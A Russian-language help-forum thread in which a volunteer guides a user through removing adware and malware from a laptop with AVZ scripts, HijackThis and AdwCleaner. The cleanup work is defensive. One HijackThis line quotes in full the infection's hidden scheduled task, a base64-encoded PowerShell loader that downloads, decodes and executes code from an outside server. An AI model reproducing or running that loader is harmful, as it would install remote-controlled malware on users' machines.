Ноутбук тормозить, в браузере постоянно вылазеет баннер

[Riddic 2]

Племянник поскачивал с интернета игры, а к ним в нагрузку вирусы и не нужные программы.
Всякие омиго и сервисы от майла удалил в ручную. После почистил др. веб курелтом, он нашел несколько вирусов и переместил их в хранилище. Но в браузере досих пор вылазеет банер в низу экрана. Ноут подтормаживает.

[Info_bot]

Уважаемый(ая) Riddic 2, спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

[Vvvyg]

Выполните скрипт в AVZ:

begin
 TerminateProcessByName('C:\Users\admin\AppData\Local\DigitalPersona\trz500C.tmp');
 TerminateProcessByName('C:\Users\admin\AppData\Local\wutphost\trz4492.tmp');
 QuarantineFile('C:\ProgramData\e36c4f44\94e07dd7.dll', '');
 QuarantineFile('C:\Users\admin\AppData\Local\9AFBD7~1\{94E07~1.', '');
 QuarantineFile('C:\Users\admin\AppData\Local\DigitalPersona\trz500C.tmp', '');
 QuarantineFile('C:\Users\admin\AppData\Local\wutphost\trz4492.tmp', '');
 QuarantineFile('C:\Users\admin\AppData\Roaming\curl\curl.exe', '');
 QuarantineFile('C:\Users\admin\AppData\Roaming\SETUPS~1\ml.py', '');
 QuarantineFile('C:\Users\admin\AppData\Roaming\setupsk\ml.py', '');
 DeleteFile('C:\ProgramData\e36c4f44\94e07dd7.dll', '32');
 DeleteFile('C:\Users\admin\AppData\Local\9AFBD7~1\{94E07~1.', '32');
 DeleteFile('C:\Users\admin\AppData\Local\DigitalPersona\trz500C.tmp', '32');
 DeleteFile('C:\Users\admin\AppData\Local\wutphost\trz4492.tmp', '32');
 DeleteFile('C:\Users\admin\AppData\Roaming\curl\curl.exe', '32');
 DeleteFile('C:\Users\admin\AppData\Roaming\SETUPS~1\ml.py', '32');
 DeleteFile('C:\Users\admin\AppData\Roaming\setupsk\ml.py', '32');
 DeleteFile('http:\eltugno.ru\f.exe', '32');
 ExecuteFile('schtasks.exe', '/delete /TN "{6ADBC951-8C6F-773B-C080-053F275F5000}" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "A2FC2868-09DA-7E41-58B7-807CEBEF8617" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "curl" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "curls" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "setupsk" /F', 0, 15000, true);
 ExecuteFile('schtasks.exe', '/delete /TN "setupsk_upd" /F', 0, 15000, true);
 DeleteFileMask('c:\programdata\e36c4f44', '*', true);
 DeleteFileMask('c:\users\admin\appdata\local\9afbd7~1', '*', true);
 DeleteFileMask('c:\users\admin\appdata\local\digitalpersona', '*', true);
 DeleteFileMask('c:\users\admin\appdata\local\wutphost', '*', true);
 DeleteFileMask('c:\users\admin\appdata\roaming\curl', '*', true);
 DeleteFileMask('c:\users\admin\appdata\roaming\setups~1', '*', true);
 DeleteFileMask('c:\users\admin\appdata\roaming\setupsk', '*', true);
 DeleteDirectory('c:\programdata\e36c4f44');
 DeleteDirectory('c:\users\admin\appdata\local\9afbd7~1');
 DeleteDirectory('c:\users\admin\appdata\local\digitalpersona');
 DeleteDirectory('c:\users\admin\appdata\local\wutphost');
 DeleteDirectory('c:\users\admin\appdata\roaming\curl');
 DeleteDirectory('c:\users\admin\appdata\roaming\setups~1');
 DeleteDirectory('c:\users\admin\appdata\roaming\setupsk');
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'jjoakvoval');
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'setupsk');
 RegKeyParamDel('HKEY_CURRENT_USER', 'Software\Microsoft\Windows\CurrentVersion\Run', 'setupsk_upd');
 RegKeyIntParamWrite('HKCU', 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\', '1001', 1);
 RegKeyIntParamWrite('HKCU', 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\', '1004', 3);
 RegKeyIntParamWrite('HKCU', 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\', '1201', 3);
 RegKeyIntParamWrite('HKCU', 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\', '1804', 1);
 RegKeyIntParamWrite('HKCU', 'Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\', '2201', 3);
 CreateQurantineArchive(GetAVZDirectory + 'quarantine.zip');
ExecuteSysClean;
 ExecuteWizard('SCU', 2, 2, true);
RebootWindows(true);
end.

Компьютер перезагрузится.

В папке с AVZ появится архив карантина quarantine.zip, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

Сделайте новый лог Autologger.

Сделайте лог Malwarebytes AdwCleaner.

[Riddic 2]

Выпонил

[Vvvyg]

Скачайте, распакуйте и запустите утилиту ClearLNK. Скопируйте текст ниже в окно утилиты и нажмите "Лечить".

>>>  "C:\Users\admin\Favorites\Links\Интернет.url"  ->                hxxp://rilare.ru/?utm_source=favorites03&utm_content=5182c1700445c62096720a08bf12897c&utm_term=69091E1C59B7824C17A4B7BC081AD0D9&utmd=20171228

Отчёт о работе прикрепите.

Запустите HijackThis, расположенный в папке Autologger и пофиксите (в Windows Vista/7/8/10 необходимо запускать через правую кнопку мыши Запуск от имени администратора)):

R4 - SearchScopes: HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{A06ED961-D98F-4CF9-A89B-80AB11DB149C} [URL] = http://go-search.ru/search?q={searchTerms} - GoSearch
O22 - Task: {787D0A47-7F7E-0905-0D11-047F0A7A110B} - C:\Windows\system32\WindowsPowershell\v1.0\powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand OwA7ACAAIAAgACAAOwAgACAAOwAgADsAOwA7ACAAOwAgACAAOwA7ADsAIAAgADsAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AIgBzAHQAbwBwACIAOwAkAHMAYwA9ACIAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiADsAJABXAGEAcgBuAGkAbgBnAFAAcgBlAGYAZQByAGUAbgBjAGUAPQAkAHMAYwA7ACQAUAByAG8AZwByAGUAcwBzAFAAcgBlAGYAZQByAGUAbgBjAGUAPQAkAHMAYwA7ACQAVgBlAHIAYgBvAHMAZQBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAkAEQAZQBiAHUAZwBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJABzAGMAOwAKAGYAdQBuAGMAdABpAG8AbgAgAEEAWQBLAEkAQgBCAEIAQQAoACQAcAApAHsAJABuAD0AIgBXAGkAbgBkAG8AdwBQAG8AcwBpAHQAaQBvAG4AIgA7AHQAcgB5AHsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwAHwATwB1AHQALQBOAHUAbABsADsAfQBjAGEAdABjAGgAewB9AHQAcgB5AHsATgBlAHcALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAcAAgAC0ATgBhAG0AZQAgACQAbgAgAC0AUAByAG8AcABlAHIAdAB5AFQAeQBwAGUAIABEAFcATwBSAEQAIAAtAFYAYQBsAHUAZQAgADIAMAAxADMAMgA5ADYANgA0AHwATwB1AHQALQBOAHUAbABsADsAOwB9AAoAYwBhAHQAYwBoAHsAdAByAHkAewBTAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABwACAALQBOAGEAbQBlACAAJABuACAALQBWAGEAbAB1AGUAIAAyADAAMQAzADIAOQA2ADYANAB8AE8AdQB0AC0ATgB1AGwAbAA7AH0AYwBhAHQAYwBoAHsAfQB9AAoAfQBBAFkASwBJAEIAQgBCAEEAKAAiAEgASwBDAFUAOgBcAEMAbwBuAHMAbwBsAGUAXAAlAFMAeQBzAHQAZQBtAFIAbwBvAHQAJQBfAFMAeQBzAHQAZQBtADMAMgBfAFcAaQBuAGQAbwB3AHMAUABvAHcAZQByAFMAaABlAGwAbABfAHYAMQAuADAAXwBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgApADsAQQBZAEsASQBCAEIAQgBBACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAJQBTAHkAcwB0AGUAbQBSAG8AbwB0ACUAXwBTAHkAcwB0AGUAbQAzADIAXwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAIgApADsAQQBZAEsASQBCAEIAQgBBACgAIgBIAEsAQwBVADoAXABDAG8AbgBzAG8AbABlAFwAdABhAHMAawBlAG4AZwAuAGUAeABlACIAKQA7AAoAJABzAHUAcgBsAD0AIgBoAHQAdABwADoALwAvAGIAcgBpAGcAaAB0AGMAaABpAGUAZgAuAGMAbwBtAC8AdQAvAD8AYQA9AFoAeABSAE0AdgBtAGwAbABnAHQAaABYAEMASgBRAEEAMgBWADQAYQB5AFAASABqAGwAZwA5AHMAYgBWAG4AUwBEAFYAYwB2AEcANgBTAGkAaABoAFcAWABVAHMATgBuADgAdwBXAFAAVQBYAGQAdABSAEQAdABiAHcARgBoAE4AWABGAG0ATABDAHEAZwA3AFoALQBsAGkANwBHAHcAcgB3AHkATABtAEkAcgBjAEwAbQA2AE8AOQBBADQAVgBXAHYAYQBHAEIATABaAHcAMAAtAEIAawBQAGsALQBRADAAbwBGAEcAVgBmAHoAaQBDADAAUABNAEcAcgB0AE4ARgBvAHEAQQB5AFoAUgBRAHUAQQBpAGgAYgBFAFYAZQBGAFAAVwBYAEsATQBSAEgASgBMAFoAZgB0AG8ARgBiAFoANQB6AGQAMABRAEkAbgBqAGgAagBuAEIATwBaAEsASwBNADEAZwBiAEYAWQBjAEYAQwBmAEwAQwA0AHMAVABSAFgAWgA0AEUAZgBmAEkAegBxAFoAdgBMAE4ASQAxADcATQBYAC0AaQBWAFUAbABCADAAXwBOAGQAaQA3AEkAcwBVAEYARgA5ADYAagBYAGYAeQBxAFgAcQBJAHIAUgBZAE0AdgBlAEsANQA5AG8AbQBOAGQAXwBHAFoAUQBKADMAMABnAEsANwBtAFIAOABxADUAMQBUADIAdgB4ADMASwBlAFEAawBnAGgATgB2AFcAVgBrAF8ATQBaAEMAUABsAEEARQBZAGgARwBGAEgANwBSAFgAbQBXADkAcwAzAFoARAB1AGgAXwBUAEUALQBvAHUAVQBUAHkAOAAtAE0AQwA2AEUAVwBkAGYASgAxADYAZABfAFQATQBVAEEAMgBUAFcATwBjAGQATQAyAF8ARQAzAGYAMABkAEMAUgBnAFMAMAAxAFgAdAAxADQARAAxADQAWgBwAEYAagBiAFQAXwAwAEEAVgBvAGIAMgBHAGwARgAxADQAegA3AFkAQwBaAE8AYQBmAF8AMwBZAC0AMABBAFAAWgBZAFMAMwBMAEgAbAA0AGoAUwAwAGMAMgBpAG0AbQBYADkAdAB6AF8ATwBrAFMAQgB4AHAARQBaAGkAUQBGAEIAMgBaAFYAZgBGAEoAOQB2AEIATgB5AFUAMQBkAHcAWQBfADgAZgBRAG4AQgBBAEIAOQA3AG4AOABMAHIAcgB0AHQALQBYAG0AeAB4AGMAegBzADQAWQBmAHIATwBiAEMAUQB4AFoAQgA5AFcALQA3AE4ANgA4AHIAWgBBADIAWABOAFYAbABJAGsATAB4ADEAcABMADYAQwBkADIAYQBVAGkARgBNAFoAOQB2AEYASQBqAE4AVwBDAEcAQgBrADUAVQBYAGcAQgBBAFoANABHAFIASQBSAGIAZQB3AGQAaAAxAFYAWgAxADkASQB5AGcANgBZADgASAB5AGQAVABLAEUALQBOAGsAYgA5AEMAYwBYAHUAUAAxAE4AZABvAGMASQBLAEgAZwBuAF8AXwBZAFQANQBaADgAVQA4AEYAXwBIAFMAUABJAEsANQBkAFEAeQBXAGcASABKAGoAbAAtAFcAZgAwAG8AWgBmAEYALQBSAGoAaQBpAGUAZQBEAGEAWgBuAEEATQA4AFUAWQAyAGUATQA2AFkAZQBsADUAQQAzAFAAaAAtADAAbQB2AFUAcQBOAHoAUgBkAHUASgBGAG4ANQAyAFIAcwBsAFkAZABZADkANQBHADYAUQBHAHQAaABqAEUARwBFAEEAVgBvAGkAcABsAGMASgB2AFUAbAAwAEoAXwBWAHIALQBnAEMANgA2AGcAVwBoADAAQwBtAEcAVABtAG0ANABnAFAALQBuAFQAUABXAGsAagBrAFoAQQAyADgAcABoADIATAAyAEsAZgBrADIAeQBzAFkAdABsAGEAeQBvAHkAUwBNAEMAcgBkAGUATABMAE0AMgBJAGMAdQBuAE0AawByADQAWABqAFcAeABNAEEAVwBMAEcAMQA4AEkAaQBpAHIAOQBUAEQAQgBOAFEAagBUAHIAcABDAEcAMQB2AFUARwByAGcAdQBlAEMAYQBLADMAYQA5AHIAWABsAHcAVwBKAG4AMAB4AFcAMQAtAGkAaQBhAF8AeABwAGEASgBEAFcAUQBVADEAagBOAG8AQwBiAFYAZwBRAHQAaQBIAE8AdwB1AGEAOQBoAGwAUAAwADQAOAA1AHIASwBmAHAAdQBSAEYAbgA0AEUAWQBTAGsAbAA2AHgAdABpAHIAVQBXAFQAbABxAFUAawB2AFMAcwBfAGwAOABlAEoARwB4AG8AVgBCAHAAWABWAFYATgA1AGEATwByAGkAZgBLADQAOABwAG4AYQBVAHcARABCAG4AYgBOAEIARAA5AEMAcQAxAGIAYQB6AHEAMQBVAEMALQBoAEsANgBYAGoAeQBGAEEAVQBpAEYARQBmAFMAbABwAG0AcQBDADMAWQAtAG0AVQA0ADMAWAB0AHQAbQBlADAAMwBpADEAMAAzAGoARgAzAG0AeQBxAHoARQBOAEgAdwBjAHYAUABJAGMAWQBlAGwAJgBjAD0AZAA2AC0AdwBXAGoAQQByAHgAYgBHAEsAdwBnAHoAMQBaAGYAVQBrAHAAcwBZAC0AVwBMADkAUgBZAEUAOQBQADkANwBSAFYAYwAxAEMAcABvAG0AdwB0AFMAeQAzAG8AWABJAEEAVgBxAGUANwBuAEQAZQBiAE0ASQBvAEYAVgA5AEMAZQBqAEIAdAAzAHoAQwBtAGoAVABmAHIAcgBOAGsAVABCAEEAegBvAFEATQBJADMAUQBnAHQAcwBsAEIAZABmAHkAegBuADIAaQAxADcAbgBzAHYAQwBjAG0AVQA3AEsAYgBvAGEAMQB0AEQAZQB0AHAAMABlAC0ANABkAHcAQgAzADcAMQA3AHUASwAwAFkAWQBSAEQAMABhAE4AVQBQAG4AQQAyAHEAZgBWAEQAOABSAGcAOAB0AHUAZAB0AFkAMQAyAEsAcwBaAGgAdwBJAHMAWgBEAFEAeAAyAFYAZgAtAHkAbQBIAC0ATgBSAF8AawBjADYAQQBkAGQAbwBUAEMAMQBJAEYAdQBlAG8ARQBzADgANgBfAG4AUgBIADEAYgBkAGYAUgBsAGsAdQA3AHkARQBmADcAcQBUAFUATQBqAEUAMQBmAEUANwBmAG4AMwA5AHUAdQB0AGgAOQBfAGcASwBqAGEAVwB2AHAAUwAxAGMANgBhAEgANQBVAEQARAAyAE8AbQA2AE0AOABqAC0AWQBsADAAagBnAEQARABJAFYAMAA4AGwAaABTAHIATgAzAG4AawBnAFMAQgA1ADkAdAB5AGQAeABGADcAawB2AFYAaQBJAEkAcQBBAG0ASgAzAGYAeAB0AGMAVwBmAEYAdwB1AGgAMgBFAEwAaABjAGYAMgBSAEIAUABtAHgANgA0AHgAawBhAEkAQQBaAGcAdgBnAHAATQBiAGUARQBPAHYAbgBCAGcAaQBuAHQAVwBxAFkAMgBkAHAAZABpAFMAcQBiADAAMgBvAE0AUgBqAEkAagBDAHoAeQBwADQAZQBYAFAAdABXAE8AeQA2AFAAdwB4AFYAMwA0AE0ANwBTAHgAQwBYAEcAOQBFAGgASwBCAEUAZABCAGoAMABJAFcASwA2AFoAbwBSAFkAVAB0AHMAQgA2AHAAUgBmADMASwBXAHEATQB5AG0AaQBwAFUASQBiADcANgBRAHQAMABaAGgAZwBYAFIATgBPAG0AcwB4AGMAMQBFAE8AOQBhAGgAVgBFAFAASwBfAEYAaQBXAGcATABXADUAVQBGAFkAVwBjAHkAaQB1AGQAVwBSAGkATgBBADAASABQAFoANgBaAHgANQBiADkAcwBwAEQAUQBPADYAQQB2ADIATQBTAFoAUQBQAEcAOABlADMAZgBDAFMAZAB2AHkAeAByAFMAVgBWAHAAWgBrAFoAbgAyAEQAZAB4AGMARwBvAGcAOQByAGMARwAzAGkAdgBTAG0AYgB6AFgANgBpAEIAdgBJAEMAYQBQADEASABoAG4ANQBuAG4AMgB0AG0AQwBzADgAcQBQAFYASABtAEEASQBkAC0AQgBtAFoAMQBYAHkARQBLADcAVwB4AF8ANQA4AE0AWAAzAHcANwBvAGcAdgBZAEQANgAwAFYAMQBiAGEAWQBHADAATABfAFoASgBtAHQASwAxAHAAVABTADQANAAtAFUAcwA1AGoAUgBBADgAYwBaAEoAYgBUADgAcwBnADIATwB2AHoAZgB0AGEAegAtAE4AdABHADIAaABlAFgAdABRAEIASQA0AGUAagA5AEoAcQB6AE8AZQBnAGMAbQA1AE4AagBEAFAAbABCAGsARwBpAG8AdwBiAFgAUwAyAEwAWABfAFQAbwBRADMAUgA3AHAAMwBGAEwAdgBpAGEAYgBnAEgANwBKAEQAbwAyAGEAYQByADIAZwBoAE0AbwA0AEkAWQByAEwAOQBrAEIAUQBPAEUARwA1AHQAQgA4ADAAWABBADcAVgBWADkAVABFAGgANABjAHMAcwBxAFgAUQAyAGQAdgBGADUASgBZAGIAcQB1AFcAdgByAEgAMgB2AFAARQBpAFcAQQBOAE8ASgBIADcAWgBkAHAAYQB6AHgAeABWAF8AUwAyAGUARAB3AE0AYwBTAEkAbQBOAGwAagBUAEgASgBLAGQAQwBXAHMAMgBIAHYAQgB3ADAARwBKADQAdQBGAEIAZwBVAGwAaAAyADQARwA5ADgAaQBfADIAJgByAD0AOAAxADQAOQAwADIAOQA5ADIANQAyADUAMgAyADkANAAyADcAMQAiADsAJABzAHQAcwBrAD0AIgB7ADcAOAA3AEQAMABBADQANwAtADcARgA3AEUALQAwADkAMAA1AC0AMABEADEAMQAtADAANAA3AEYAMABBADcAQQAxADEAMABCAH0AIgA7ACQAcAByAGkAZAA9ACIAZgBsAG8AYQB0AGkAbgBnACIAOwAkAGkAbgBpAGQAPQAiAFAARQBHAEYAQgBQAE8AQwAiADsAdAByAHkAewBpAGYAKAAkAFAAUwBWAGUAcgBzAGkAbwBuAFQAYQBiAGwAZQAuAFAAUwBWAGUAcgBzAGkAbwBuAC4ATQBhAGoAbwByACAALQBsAHQAIAAyACkAewBiAHIAZQBhAGsAOwB9ACQAdgA9AFsAUwB5AHMAdABlAG0ALgBFAG4AdgBpAHIAbwBuAG0AZQBuAHQAXQA6ADoATwBTAFYAZQByAHMAaQBvAG4ALgBWAGUAcgBzAGkAbwBuADsACgBpAGYAKAAkAHYALgBNAGEAagBvAHIAIAAtAGUAcQAgADUAKQB7AGkAZgAoACgAJAB2AC4ATQBpAG4AbwByACAALQBsAHQAIAAyACkAIAAtAEEATgBEACAAKAAoAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIABXAGkAbgAzADIAXwBPAHAAZQByAGEAdABpAG4AZwBTAHkAcwB0AGUAbQApAC4AUwBlAHIAdgBpAGMAZQBQAGEAYwBrAE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuACAALQBsAHQAIAAyACkAKQB7AGIAcgBlAGEAawA7AAoAfQAKAH0ACgBpAGYAKAAtAE4ATwBUACAAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBQAHIAaQBuAGMAaQBwAGEAbABdAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAEkAZABlAG4AdABpAHQAeQBdADoAOgBHAGUAdABDAHUAcgByAGUAbgB0ACgAKQApAC4ASQBzAEkAbgBSAG8AbABlACgAWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMAQgB1AGkAbAB0AEkAbgBSAG8AbABlAF0AIAAiAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIgApACkAewBiAHIAZQBhAGsAOwB9AAoAZgB1AG4AYwB0AGkAbwBuACAAWQBNAFQATwBXAFoAQgBCACgAJAB1AHIAbAApAHsAJAByAHEAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAByAHEALgBVAHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwA9ACQAdAByAHUAZQA7ACQAcgBxAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAIgB1AHMAZQByAC0AYQBnAGUAbgB0ACIALAAiAE0AbwB6AGkAbABsAGEALwA0AC4AMAAgACgAYwBvAG0AcABhAHQAaQBiAGwAZQA7ACAATQBTAEkARQAgADcALgAwADsAIABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwApACIAKQA7AHIAZQB0AHUAcgBuACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHIAcQAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1AHIAbAApACkAOwAKAH0ACgBmAHUAbgBjAHQAaQBvAG4AIABYAFcAWgBCAFcATwBCAEIARgBJAFIAQwAoACQAcgBhAHcAZABhAHQAYQApAHsAJABiAHQAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcgBhAHcAZABhAHQAYQApADsAJABlAHgAdAA9ACQAYgB0AFsAMABdADsAJABrAGUAeQA9ACQAYgB0AFsAMQBdACAALQBiAHgAbwByACAAMQA3ADAAOwBmAG8AcgAoACQAaQA9ADIAOwAkAGkAIAAtAGwAdAAgACQAYgB0AC4ATABlAG4AZwB0AGgAOwAkAGkAKwArACkAewAkAGIAdABbACQAaQBdAD0AKAAkAGIAdABbACQAaQBdACAALQBiAHgAbwByACAAKAAoACQAawBlAHkAIAArACAAJABpACkAIAAtAGIAYQBuAGQAIAAyADUANQApACkAOwA7AH0ACgByAGUAdAB1AHIAbgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAkAGIAdAAsADIALAAoACQAYgB0AC4ATABlAG4AZwB0AGgALQAkAGUAeAB0ACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsACgB9AAoAJABzAGMAPQBYAFcAWgBCAFcATwBCAEIARgBJAFIAQwAoAFkATQBUAE8AVwBaAEIAQgAoACQAcwB1AHIAbAApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAGMAbwBtAG0AYQBuAGQAIAAiACQAcwBjACIAOwB9AGMAYQB0AGMAaAB7AH0AOwBlAHgAaQB0ACAAMAA7AA==

[Riddic 2]

Строки в HijackThis профиксил. правдо за два захода, в первый раз не смог найти строку 022, потлм по отчету понял что в программе она отображаеться TOO many enteries ( больше 50). AdwCleaner не разу не открылся, указанный отчет не появился. Строка 022 в HijackThis после того как я ее пофиксил и перезагрузил ноут осталась.

- - - - -Добавлено - - - - -

Всплывающие окна в хроме остались

[Vvvyg]

Удалите всё найденное в AdwCleaner, дождитесь окончания удаления и перезагрузите систему по требованию программы.
После входа в систему откроется отчёт AdwCleaner - файл AdwCleaner[C0].txt, прикрепите к своему следующему сообщению.
Очистите кэш и cookies-файлы браузеров и сообщите, что с проблемами.

Если не поможет - отключите все расширения в Chrome, если пропадёт реклама - подключайте по одному, проверяйте эффект. Расширения часто подменяют, какое именно - понять можно только перебором.
Сообщите результат.

[Riddic 2]

Все почистил, удали, реклама вроде пропала

[Vvvyg]

Тогда всё на этом.

Запустите AdwCleaner и нажмите Файл (File) -> Деинсталлировать (Uninstall).

Выполните рекомендации после лечения.